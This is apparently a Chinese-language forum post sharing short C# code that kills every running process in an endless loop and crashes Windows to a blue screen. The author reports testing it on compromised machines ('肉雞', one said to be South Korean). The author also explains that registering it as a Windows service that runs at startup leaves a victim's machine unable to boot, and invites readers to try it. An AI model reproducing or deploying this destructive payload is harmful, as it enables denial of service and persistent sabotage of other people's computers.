try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
這樣就能死機?沒錯這樣就能死機!
測試環境
1、winxp sp3(及所有關鍵、推薦更新)+卡巴2008最新病毒庫 虛擬機裏
2、win2003sp2(及所有關鍵、推薦更新)+今天剛裝的最新的mcafee8.7企業版+antispyware 真機裏
起因,今天沒事在虛擬機測試者玩就這3行代碼看看運行什麼樣的,本以爲只能退出一些無關緊要的程序+出來一些錯誤提示而已,沒想到一運行馬上藍屏就死機了,重啓虛擬機又試,結果又馬上就藍屏死機,於是我想虛擬機系統本身有幾個進程是虛擬機自帶的是不是這個kill後造成系統失敗呢,我就關上虛擬機在我的真機裏測試。今天裝的剛新出的mcafee8.7企業版,運行後系統的主題沒有了,成了經典主體了,一般系統錯誤比較嚴重的時候出現這種情況。又馬上運行一次,這次藍屏死機了。真沒想到造成死機這麼容易,也沒想到process.kill()如此的強勁,我有點肅然起敬,因爲原來我感覺.net下面封裝的類都是非常安全權限很低的,它把一些稍微危險的操作都去掉了,所以動不動就得找api的。
話說回來了,在真機裏不是馬上藍屏是第二次執行的時候藍屏的,不過這兩次執行相隔不到2秒,那麼改成這樣就行了
while (true)
{
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
}
剛剛測試,絕無瞎話,由於很興奮故上來打打字,大家有興趣可以測試一下玩玩。
=========================
補充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是說如果是本進程id就不kill,並且死循環,一點就會馬上死機了,我在本機、虛擬機試了很多次,並在肉雞試過很多次,屢試不爽。必須要加try catch,否則當遇到不能結束的進程什麼的一報錯本程序就崩潰了。
如果新建一個win服務程序,並在onstart的地方寫上這段代碼,並給某機器註冊服務並啓動,那麼他的機器就再也啓不來了,因爲每次啓動還沒登陸的時候就死機了(已在某南棒肉雞上試驗)。那麼能不能通過安全模式來取消註冊,我沒敢試過不好說。